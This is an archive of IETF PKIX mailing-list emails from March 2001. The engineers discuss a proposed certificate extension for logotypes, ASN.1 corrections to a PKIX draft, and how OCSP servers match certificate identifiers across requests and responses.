MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
x-mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id MAA15703

David,
> Second:  I do not see how applications will make use of this
> information.  How do you see it being used?

I assume that the logo is a replacement for VISA on plastic card that when added to SET certificates
could be displayed in your electronic wallet. Naah, I meant in your mobile phone that will be
the wallet.  Sooner or later...

> Third:  People are complaining about size of certs now, this will expand
> that issue

This is the same as with everything in the computer business.  Once a word-
processing document of 100K was considered big.  Now you don't raise an
eye-brow on a 2M ditto!  The URI will as Stefan said only use a few bytes BTW.

Anders



Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA01339 for <[e-mail]>; Fri, 16 Mar 2001 19:11:05 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id NAA01817 for <[e-mail]>; Sat, 17 Mar 2001 13:20:38 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Sat, 17 Mar 2001 14:11:46 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HAVTGJY8>; Sat, 17 Mar 2001 14:09:07 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: David Cross <[e-mail]>, Stefan Santesson <[e-mail]>, [e-mail]
Subject: RE: Logotypes in certificates
Date: Sat, 17 Mar 2001 14:09:07 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Probably a better alternative to including a logotype into a certificate
would be to include a reference to a [signed] logotype. As an extension,
containing a uri of a logotype which is stored somewhere. The drawback is
that it requires the verifier to be connected, obviously. But certificate
verification normally assumes that you are connected. The size of a logotype
won't matter much.

Naturally, a logotype should be signed by the same entity which issued the
certificate which contains the reference to the logotype. it also allows
flexible update of logotype if necessary, should a change be made within
validity period of the certificate (i.e. a new photo required because I've
grown a bead).

Michael


> -----Original Message-----
> From: David Cross [mailto:[e-mail]]
> Sent: Saturday, 17 March 2001 13:46
> To: Stefan Santesson; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Stefan:
>  
> Some comments -
>  
> First:  I do not think that this should be considered for son 
> of RFC2459
> - we do not want to hold this up to consider this proposal.
>  
> Second:  I do not see how applications will make use of this
> information.  How do you see it being used?
>  
> Third:  People are complaining about size of certs now, this 
> will expand
> that issue
>  
> 
> David B. Cross
> 
> 
> 	-----Original Message-----
> 	From: Stefan Santesson [mailto:[e-mail]] 
> 	Sent: Thursday, March 15, 2001 3:22 PM
> 	To: [e-mail]
> 	Subject: Logotypes in certificates
> 	
> 	
> 	In last PKIX meeting in San Diego I presented some thoughts on
> creating a new extension for inclusion of logotype information in
> certificates.
> 	
> 	Last in this mail I include a primary suggested outline for such
> extension.
> 	
> 	But first a short summary of the rationale:
> 	
> 	At a first glance it may seem irrelevant to include logotype
> information in certificates and a natural first reaction is "OH NO...
> NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> 	
> 	The fact is though that at the ETSI meeting this week (In the
> group that handles European standards related to electronic 
> signatures).
> IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE DATA WOULD BE
> VERY USEFUL.
> 	
> 	Why is that so?
> 	
> 	The answer is that logotypes are carriers of trust and are
> widely recognized tools for trust recognition. Have you ever 
> thought why
> EVERY physical instrument of trust, from loyalty cards, 
> credit cards to
> Passports, contain trust symbols in the form of logotypes.
> 	
> 	Are certificates different? ABSOLUTELY NOT!! 
> 	
> 	If PKI is to take off in the private market, the certificates
> must be user friendly and carry the same functionality (in electronic
> form) as ID-cards, passports and other physical ID:s do in physical
> form. And logotypes are a FUNDAMENTAL part of that.
> 	
> 	Without logotypes, certificates can only be handled and
> presented as textual information for technically oriented 
> users. This is
> the reality I see. 
> 	
> 	What is your observation?
> 	
> 	How can we then do this?
> 	
> 	Technically speaking, we don't have to include the actual
> logotype image and we don't have to destroy legacy applications.
> 	I would suggest that we use the same mechanism that we specified
> for biometric data in RFC 3039 where a non-critical extension can
> include for each logotype:
> 	
> 	-  type of logo
> 	-  type of hash algorithm
> 	-  hash of logotype data 
> 	-  URI to location of data
> 	
> 	This will only take a few bytes but will allow new applications
> to import relevant logotypes, signed by the issuer of the certificate,
> to be displayed to the user. 
> 	
> 	So... What to do with this?
> 	
> 	If this is to be proceeded at all, It could be part of son of
> RFC 2459, it could be part of a new RFC 3039 and it could be 
> a new draft
> or merged with some other work. I'm open for suggestions.
> 	
> 	I hope to be able to meet with many of you and discuss this in
> Minneapolis next week.
> 	
> 	/Stefan Santesson
> 	
> 	   
> 	logotypeInfo  EXTENSION ::= {
> 	          SYNTAX             LogotypeSyntax
> 	          IDENTIFIED BY      id-pe-logotypeInfo }
> 	
> 	      id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> 	
> 	      LogotypeSyntax ::= SEQUENCE OF LogotypeData
> 	
> 	      LogotypeData ::= SEQUENCE {
> 	          typeOfLogotype       TypeOflogotype,
> 	          hashAlgorithm        AlgorithmIdentifier,
> 	          logotypeDataHash     OCTET STRING,
> 	          sourceDataUri        IA5String OPTIONAL }
> 	
> 	      TypeOflogotype ::= CHOICE {
> 	          predefinedLogotypeType    PredefinedLogotypeType,
> 	          LogotypeTypeID            OBJECT IDENTIFIER }
> 	
> 	      PredefinedLogotypeType ::= INTEGER { 
> 	          subject-organization-logotype(0),
> 	          issuer-organization-logotype(1)
> 	          CA-network-logotype(2)} 
> 	          (subject-organization-logotype|
> 	           issuer-organization-logotype|
> 	            CA-network-logotype,...)
> 	
> 	
> 	The predefined logotype types are
> 	
> 	subject-organization-logotype, if used, SHALL be used to include
> a logotype of the subject organization. The logotype SHALL be 
> consistent
> with, and require the presence of, an organization name stored in the
> organization attribute in the subject field.
> 	
> 	issuer-organization-logotype, if used, SHALL be used to include
> a logotype of the issuer organization. The logotype SHALL be 
> consistent
> with, and require the presence of, an organization name stored in the
> organization attribute in the issuer field.
> 	
> 	CA-network-logotype, if used, SHALL be used to include a
> logotype used by a network of CA services, provided by one or several
> independent CA's, within which the issuer claims to issue this
> certificate.
> 	
> 	
> 
> 
> 
> This footnote confirms that this email message has been swept by
> MIMEsweeper for the presence of computer viruses.
> 


-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.


Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.9.3/8.9.3) with SMTP id SAA00781 for <[e-mail]>; Fri, 16 Mar 2001 18:46:53 -0800 (PST)
Received: from 157.54.9.101 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 16 Mar 2001 18:46:27 -0800 (Pacific Standard Time)
Received: from red-msg-02.redmond.corp.microsoft.com ([157.54.12.70]) by inet-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Fri, 16 Mar 2001 18:43:10 -0800
x-mimeole: Produced By Microsoft Exchange V6.0.4418.65
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Logotypes in certificates
Date: Fri, 16 Mar 2001 18:46:26 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCtp3+U+Sn5JIstTJWznd2HR/+X5AA4+ceA
From: "David Cross" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 17 Mar 2001 02:43:10.0326 (UTC) FILETIME=[01163160:01C0AE8C]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id SAA00782

Stefan:
 
Some comments -
 
First:  I do not think that this should be considered for son of RFC2459
- we do not want to hold this up to consider this proposal.
 
Second:  I do not see how applications will make use of this
information.  How do you see it being used?
 
Third:  People are complaining about size of certs now, this will expand
that issue
 

David B. Cross


	-----Original Message-----
	From: Stefan Santesson [mailto:[e-mail]] 
	Sent: Thursday, March 15, 2001 3:22 PM
	To: [e-mail]
	Subject: Logotypes in certificates
	
	
	In last PKIX meeting in San Diego I presented some thoughts on
creating a new extension for inclusion of logotype information in
certificates.
	
	Last in this mail I include a primary suggested outline for such
extension.
	
	But first a short summary of the rationale:
	
	At a first glance it may seem irrelevant to include logotype
information in certificates and a natural first reaction is "OH NO...
NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
	
	The fact is though that at the ETSI meeting this week (In the
group that handles European standards related to electronic signatures).
IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE DATA WOULD BE
VERY USEFUL.
	
	Why is that so?
	
	The answer is that logotypes are carriers of trust and are
widely recognized tools for trust recognition. Have you ever thought why
EVERY physical instrument of trust, from loyalty cards, credit cards to
Passports, contain trust symbols in the form of logotypes.
	
	Are certificates different? ABSOLUTELY NOT!! 
	
	If PKI is to take off in the private market, the certificates
must be user friendly and carry the same functionality (in electronic
form) as ID-cards, passports and other physical ID:s do in physical
form. And logotypes are a FUNDAMENTAL part of that.
	
	Without logotypes, certificates can only be handled and
presented as textual information for technically oriented users. This is
the reality I see. 
	
	What is your observation?
	
	How can we then do this?
	
	Technically speaking, we don't have to include the actual
logotype image and we don't have to destroy legacy applications.
	I would suggest that we use the same mechanism that we specified
for biometric data in RFC 3039 where a non-critical extension can
include for each logotype:
	
	-  type of logo
	-  type of hash algorithm
	-  hash of logotype data 
	-  URI to location of data
	
	This will only take a few bytes but will allow new applications
to import relevant logotypes, signed by the issuer of the certificate,
to be displayed to the user. 
	
	So... What to do with this?
	
	If this is to be proceeded at all, It could be part of son of
RFC 2459, it could be part of a new RFC 3039 and it could be a new draft
or merged with some other work. I'm open for suggestions.
	
	I hope to be able to meet with many of you and discuss this in
Minneapolis next week.
	
	/Stefan Santesson
	
	   
	logotypeInfo  EXTENSION ::= {
	          SYNTAX             LogotypeSyntax
	          IDENTIFIED BY      id-pe-logotypeInfo }
	
	      id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
	
	      LogotypeSyntax ::= SEQUENCE OF LogotypeData
	
	      LogotypeData ::= SEQUENCE {
	          typeOfLogotype       TypeOflogotype,
	          hashAlgorithm        AlgorithmIdentifier,
	          logotypeDataHash     OCTET STRING,
	          sourceDataUri        IA5String OPTIONAL }
	
	      TypeOflogotype ::= CHOICE {
	          predefinedLogotypeType    PredefinedLogotypeType,
	          LogotypeTypeID            OBJECT IDENTIFIER }
	
	      PredefinedLogotypeType ::= INTEGER { 
	          subject-organization-logotype(0),
	          issuer-organization-logotype(1)
	          CA-network-logotype(2)} 
	          (subject-organization-logotype|
	           issuer-organization-logotype|
	            CA-network-logotype,...)
	
	
	The predefined logotype types are
	
	subject-organization-logotype, if used, SHALL be used to include
a logotype of the subject organization. The logotype SHALL be consistent
with, and require the presence of, an organization name stored in the
organization attribute in the subject field.
	
	issuer-organization-logotype, if used, SHALL be used to include
a logotype of the issuer organization. The logotype SHALL be consistent
with, and require the presence of, an organization name stored in the
organization attribute in the issuer field.
	
	CA-network-logotype, if used, SHALL be used to include a
logotype used by a network of CA services, provided by one or several
independent CA's, within which the issuer claims to issue this
certificate.
	
	



Received: from hotmail.com (f173.law11.hotmail.com [64.4.17.173]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA24910 for <[e-mail]>; Fri, 16 Mar 2001 16:03:11 -0800 (PST)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 16 Mar 2001 16:02:44 -0800
Received: from 192.9.25.22 by lw11fd.law11.hotmail.msn.com with HTTP;	Sat, 17 Mar 2001 00:02:43 GMT
X-Originating-IP: [192.9.25.22]
From: "parag salvi" <[e-mail]>
To: [e-mail]
Subject: CA Tool
Date: Fri, 16 Mar 2001 16:02:43 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <[e-mail]>
X-OriginalArrivalTime: 17 Mar 2001 00:02:44.0139 (UTC) FILETIME=[976E9FB0:01C0AE75]

Hi All,

Is there any CA tool available where I can specify what extension I want in 
the CA and with what values ?

Thanks,
Parag


>From: "Jim Schaad" <[e-mail]>
>Reply-To: <[e-mail]>
>To: <[e-mail]>
>CC: "Tim Polk \(E-mail\)" <[e-mail]>
>Subject: draft-ietf-pkix-new-part1-05.txt
>Date: Fri, 16 Mar 2001 12:07:55 -0800
>
>More ASN.1 errors and comments:
>
>PKIX1Implicit88
>1. Imports from the old Explicit module number.
>
>PKIX1Algorithms88
>1. Module number for id-algorithms-88 is missing.
>2. ECParameters has a trailing comma on cofactor that needs to be omitted
>
>
>jim
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA11819 for <[e-mail]>; Fri, 16 Mar 2001 12:05:50 -0800 (PST)
Received: from revelation ([65.4.166.11]) by femail12.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20010316200548.QOOF7377.femail12.sdc1.sfba.home.com@revelation>; Fri, 16 Mar 2001 12:05:48 -0800
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: <[e-mail]>
Cc: "Tim Polk \(E-mail\)" <[e-mail]>
Subject: draft-ietf-pkix-new-part1-05.txt
Date: Fri, 16 Mar 2001 12:07:55 -0800
Message-ID: <001301c0ae54$caac28a0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-reply-to: <[e-mail]>

More ASN.1 errors and comments:

PKIX1Implicit88
1. Imports from the old Explicit module number.

PKIX1Algorithms88 
1. Module number for id-algorithms-88 is missing.
2. ECParameters has a trailing comma on cofactor that needs to be omitted


jim



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA18861 for <[e-mail]>; Thu, 15 Mar 2001 16:00:21 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Thu, 15 Mar 2001 12:02:41 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 12:02:41 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <G7DHVL90>; Thu, 15 Mar 2001 11:56:19 -0800
Content-return: allowed
Date: Thu, 15 Mar 2001 11:56:18 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Matching CertIDs between OCSP requests and responses
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Peter, we do use multiple certs in a query for multiple reasons:

a. To query the status of a whole chain at a time

b. To query the status of all certs in something like an address
book, to figure out which certs that I have in my address book
are still good.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Thursday, March 15, 2001 9:21 PM
> To: [e-mail]
> Subject: RE: Matching CertIDs between OCSP requests and responses
> 
> 
> [e-mail]
> 
> >The idea of non-global errors is interesting, I hadn't 
> thought about that. It
> >might be useful where multiple certificates are present in 
> the request. 
> 
> Is anyone (apart from Identrus, who do it for 
> political/economic rather than
> technical reasons) doing this to any extent?  There is 
> anecdotal evidence which
> suggests that implementors are using only one cert per query, 
> having multiple
> certs per query is hideous in terms of handling responses 
> (let's see now, this
> one is OK, this one isn't, we don't know about this one... 
> no, the third one,
> not the second one... no that one's OK, you want the one next 
> to it... etc
> etc).  Although my code supports the ability to query 
> multiple certs at once, I
> haven't enabled it because handling mixed responses is just 
> too messy, it's
> much, *much* easier to work with if you do it on the basis of 
> "Is this cert
> revoked or not?" rather than "Tell me whatever you can about 
> this bundle of
> stuff, and I'll try and figure out what's what from your response".
> 
> Peter.
> 


Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA18394 for <[e-mail]>; Thu, 15 Mar 2001 15:56:37 -0800 (PST)
Received: from drh-consultancy.demon.co.uk ([193.237.150.98] helo=celocom.com) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 14dhbj-000Jxw-0W for [e-mail]; Thu, 15 Mar 2001 23:56:39 +0000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 23:44:28 +0000
From: Dr S N Henson <[e-mail]>
Organization: S N Henson
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter Gutmann wrote:
> 
> [e-mail] writes:
> 
> >As mentioned earlier, the complexity of matching certificate identifiers
> >between request and response increases in v2, where there are so many other
> >ways to identify a certificate.
> 
> Yes, but they're all unique (there's only one way to encode an
> issuerAndSerialNumber, certificate, etc), a binary compare should do for this.
> 
> I'll do a bit of experimenting next week, but I'd be very surprised if a binary
> compare failed for any responder.
> 

One responder I tested didn't get this right but that was due to a
responder bug.

Wrt multiple certificates in request I've come across two different
kinds of anomalous behaviour.

One just rejects it with malformedRequest. Another includes status
information about the first certificate and nothing for the remainder.

Steve.
-- 
Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
Personal Email: [e-mail] 
Senior crypto engineer, Celo Communications: http://www.celocom.com/
Core developer of the   OpenSSL project: http://www.openssl.org/
Business Email: [e-mail] PGP key: via homepage.



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA16850 for <[e-mail]>; Thu, 15 Mar 2001 15:39:48 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2FNdj118796; Thu, 15 Mar 2001 15:39:45 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Matching CertIDs between OCSP requests and responses
Date: Thu, 15 Mar 2001 15:45:54 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Jonathan,

Apologies for not getting back sooner.  I see things have been busy.
Anyway, an RFC 2560 server is compliant even if it behaves in the manner you
describe.  There are no normative requirements in RFC 2560 to the contrary.
However, I'm of the opinion that a robust client should be capable of
handling this potential error condition.  This condition, along with several
other processing considerations that contribute to interoperability, could
be better addressed.  We will be working on these issues in the v2 context
over the next few months.  Perhaps you would care to join us in that,
particularly from the thin client perspective.  In any case, thanks for the
catch.  Hope this helps.

Mike


> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Wednesday, March 14, 2001 8:40 AM
> To: Michael Myers
> Cc: [e-mail]
> Subject: RE: Matching CertIDs between OCSP requests and responses
>
>
>
> Mike,
>
> Thanks for the reply.  I think my use of the phrase 'server error' was
> perhaps misleading:  what I mean is, has the server behaved in a
> non-compliant manner if a certificate from the request is missing from the
> response (or, for that matter, if the response contains
> information about a
> certificate not present in the request).  That is, is doing so an improper
> response?
>
> The idea of non-global errors is interesting, I hadn't thought about that.
> It might be useful where multiple certificates are present in the request.
> The most likely case I can think of is where the OCSP server is acting in
> request-forwarding mode, splitting a request and farming it out to several
> other servers, which in turn may return differing error states.  It would
> be a pity to simply throw out the valid information and return an error
> just because one of the second-level servers did.
>
> Regards,
>
> Jonathan
>
>
>
>
>
>                     "Michael
>
>                     Myers"               To:
> <[e-mail]>,
>                     <myers@coasts        <[e-mail]>
>
>                     ide.net>             cc:
>
>                                          Subject:     RE:
> Matching CertIDs between OCSP
>                     14/03/01             requests and responses
>
>                     16:38
>
>
>
>
>
>
>
>
>
> Jonathan,
>
> You are correct in your assumptions.  One point of clarification however.
>
> Server errors appear in the mandatory responseStatus field of OCSPResponse
> and not the optional responseBytes field in order to ensure that a server
> will produce *some* type of feedback in the event of an error.
>
> OCSPResponse ::= SEQUENCE {
>     responseStatus     OCSPResponseStatus,
>     responseBytes      [0]  EXPLICIT ResponseBytes OPTIONAL }
>
> Given that, such errors speak to the server's response as a whole and not
> to
> individual certificates in the instance when multiple certificates are
> identified in a single request and corresponding response (the latter via
> SingleResponse syntax).
>
> In other words, we assumed that the type of server problems enumerated in
> OCSPResponseStatus would be global with respect a request regardless of
> whether or not that request addressed a single certificate or multiple
> certificates.
>
> In the context of the v2 work, I'd be very interested to hear if your
> implementation experience leads to a need for error states at the
> SingleResponse level.
>
> Your point regarding certificate identification matching in the v2 case is
> well noted.
>
> Mike
>
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> > Sent: Wednesday, March 14, 2001 4:25 AM
> > To: [e-mail]
> > Subject: Matching CertIDs between OCSP requests and responses
> >
> >
> > All,
> >
> > Another OCSP (v1) question:  Can a client assume that the OCSP response
> > CertID terms will precisely match those from the request?  That is, can
> it
> > assume
> > 1 - that every certificate in the request will be in the response (i.e.
> > it's a server error otherwise)
> > 2 - that the hashing algorithm in the response CertIDs will be the same
> as
> > that which was used in the request (that is, the CertID data will match
> > byte-for-byte between request and response).
> >
> > I guess given the variety of identifiers available alongside
> > CertID in OCSP
> > v2 that the issue of matching identifiers between request and response
> > raised in point 2 above will be even more critical there.  But
> that's for
> > other people to worry about - it's v1 I'm interested in for now.
> >
> > Thanks,
> >
> > Jonathan
> > ----------------
> > Dr Jonathan Tuliani
> > www.symbian.com
> >
> >
> >
> > **********************************************************************
> > Symbian Ltd is a company registered in England and Wales with
> > registered number 01796587 and registered office at 19 Harcourt
> > Street, London, W1H 4HF, UK.
> > This message is intended only for use by the named addressee and
> > may contain privileged and/or confidential information. If you
> > are not the named addressee you should not disseminate, copy or
> > take any action in reliance on it. If you have received this
> > message in error please notify [e-mail] and delete
> > the message and any attachments accompanying it immediately.
> > Symbian does not accept liability for any corruption,
> > interception, amendment, tampering or viruses occuring to this
> > message in transit or for any message sent by its employees which
> > is not in compliance with Symbian corporate policy.
> > **********************************************************************
> >
>
>
>
>
>



Received: from popmail2.inbox.se ([e-mail] [212.28.208.210]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA15360 for <[e-mail]>; Thu, 15 Mar 2001 15:21:49 -0800 (PST)
Received: from santesson.accurata.se (t6o9p39.telia.com [62.20.231.219]) by popmail2.inbox.se (8.10.1/8.10.1) with ESMTP id f2FNJkA21805 for <[e-mail]>; Fri, 16 Mar 2001 00:19:47 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail] (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Fri, 16 Mar 2001 00:22:19 +0100
To: [e-mail]
From: Stefan Santesson <[e-mail]>
Subject: Logotypes in certificates
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=====================_12792724==_.ALT"

--=====================_12792724==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

In last PKIX meeting in San Diego I presented some thoughts on creating a 
new extension for inclusion of logotype information in certificates.

Last in this mail I include a primary suggested outline for such extension.

But first a short summary of the rationale:

At a first glance it may seem irrelevant to include logotype information in 
certificates and a natural first reaction is "OH NO... NOT ANOTHER THING TO 
INCLUDE!! DON'T WE HAVE ENOUGH?!!!"

The fact is though that at the ETSI meeting this week (In the group that 
handles European standards related to electronic signatures). IT WAS 
GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE DATA WOULD BE VERY USEFUL.

Why is that so?

The answer is that logotypes are carriers of trust and are widely 
recognized tools for trust recognition. Have you ever thought why EVERY 
physical instrument of trust, from loyalty cards, credit cards to 
Passports, contain trust symbols in the form of logotypes.

Are certificates different? ABSOLUTELY NOT!!

If PKI is to take off in the private market, the certificates must be user 
friendly and carry the same functionality (in electronic form) as ID-cards, 
passports and other physical ID:s do in physical form. And logotypes are a 
FUNDAMENTAL part of that.

Without logotypes, certificates can only be handled and presented as 
textual information for technically oriented users. This is the reality I see.

What is your observation?

How can we then do this?

Technically speaking, we don't have to include the actual logotype image 
and we don't have to destroy legacy applications.
I would suggest that we use the same mechanism that we specified for 
biometric data in RFC 3039 where a non-critical extension can include for 
each logotype:

-  type of logo
-  type of hash algorithm
-  hash of logotype data
-  URI to location of data

This will only take a few bytes but will allow new applications to import 
relevant logotypes, signed by the issuer of the certificate, to be 
displayed to the user.

So... What to do with this?

If this is to be proceeded at all, It could be part of son of RFC 2459, it 
could be part of a new RFC 3039 and it could be a new draft or merged with 
some other work. I'm open for suggestions.

I hope to be able to meet with many of you and discuss this in Minneapolis 
next week.

/Stefan Santesson


logotypeInfo  EXTENSION ::= {
           SYNTAX             LogotypeSyntax
           IDENTIFIED BY      id-pe-logotypeInfo }

       id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}

       LogotypeSyntax ::= SEQUENCE OF LogotypeData

       LogotypeData ::= SEQUENCE {
           typeOfLogotype       TypeOflogotype,
           hashAlgorithm        AlgorithmIdentifier,
           logotypeDataHash     OCTET STRING,
           sourceDataUri        IA5String OPTIONAL }

       TypeOflogotype ::= CHOICE {
           predefinedLogotypeType    PredefinedLogotypeType,
           LogotypeTypeID            OBJECT IDENTIFIER }

       PredefinedLogotypeType ::= INTEGER {
           subject-organization-logotype(0),
           issuer-organization-logotype(1)
           CA-network-logotype(2)}
           (subject-organization-logotype|
            issuer-organization-logotype|
             CA-network-logotype,...)


The predefined logotype types are

subject-organization-logotype, if used, SHALL be used to include a logotype 
of the subject organization. The logotype SHALL be consistent with, and 
require the presence of, an organization name stored in the organization 
attribute in the subject field.

issuer-organization-logotype, if used, SHALL be used to include a logotype 
of the issuer organization. The logotype SHALL be consistent with, and 
require the presence of, an organization name stored in the organization 
attribute in the issuer field.

CA-network-logotype, if used, SHALL be used to include a logotype used by a 
network of CA services, provided by one or several independent CA's, within 
which the issuer claims to issue this certificate.


--=====================_12792724==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
In last PKIX meeting in San Diego I presented some thoughts on creating a
new extension for inclusion of logotype information in 
certificates.<br>
<br>
Last in this mail I include a primary suggested outline for such
extension.<br>
<br>
But first a short summary of the rationale:<br>
<br>
At a first glance it may seem irrelevant to include logotype information
in certificates and a natural first reaction is &quot;OH NO... NOT
ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!&quot;<br>
<br>
The fact is though that at the ETSI meeting this week (In the group that
handles European standards related to electronic signatures). IT WAS
GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE DATA WOULD BE VERY
USEFUL.<br>
<br>
Why is that so?<br>
<br>
The answer is that logotypes are carriers of trust and are widely
recognized tools for trust recognition. Have you ever thought why EVERY
physical instrument of trust, from loyalty cards, credit cards to
Passports, contain trust symbols in the form of logotypes.<br>
<br>
Are certificates different? ABSOLUTELY NOT!! <br>
<br>
If PKI is to take off in the private market, the certificates must be
user friendly and carry the same functionality (in electronic form) as
ID-cards, passports and other physical ID:s do in physical form. And
logotypes are a FUNDAMENTAL part of that.<br>
<br>
Without logotypes, certificates can only be handled and presented as
textual information for technically oriented users. This is the reality I
see. <br>
<br>
What is your observation?<br>
<br>
How can we then do this?<br>
<br>
Technically speaking, we don't have to include the actual logotype image
and we don't have to destroy legacy applications.<br>
I would suggest that we use the same mechanism that we specified for
biometric data in RFC 3039 where a non-critical extension can include for
each logotype:<br>
<br>
-&nbsp; type of logo<br>
-&nbsp; type of hash algorithm<br>
-&nbsp; hash of logotype data <br>
-&nbsp; URI to location of data<br>
<br>
This will only take a few bytes but will allow new applications to import
relevant logotypes, signed by the issuer of the certificate, to be
displayed to the user. <br>
<br>
So... What to do with this?<br>
<br>
If this is to be proceeded at all, It could be part of son of RFC 2459,
it could be part of a new RFC 3039 and it could be a new draft or merged
with some other work. I'm open for suggestions.<br>
<br>
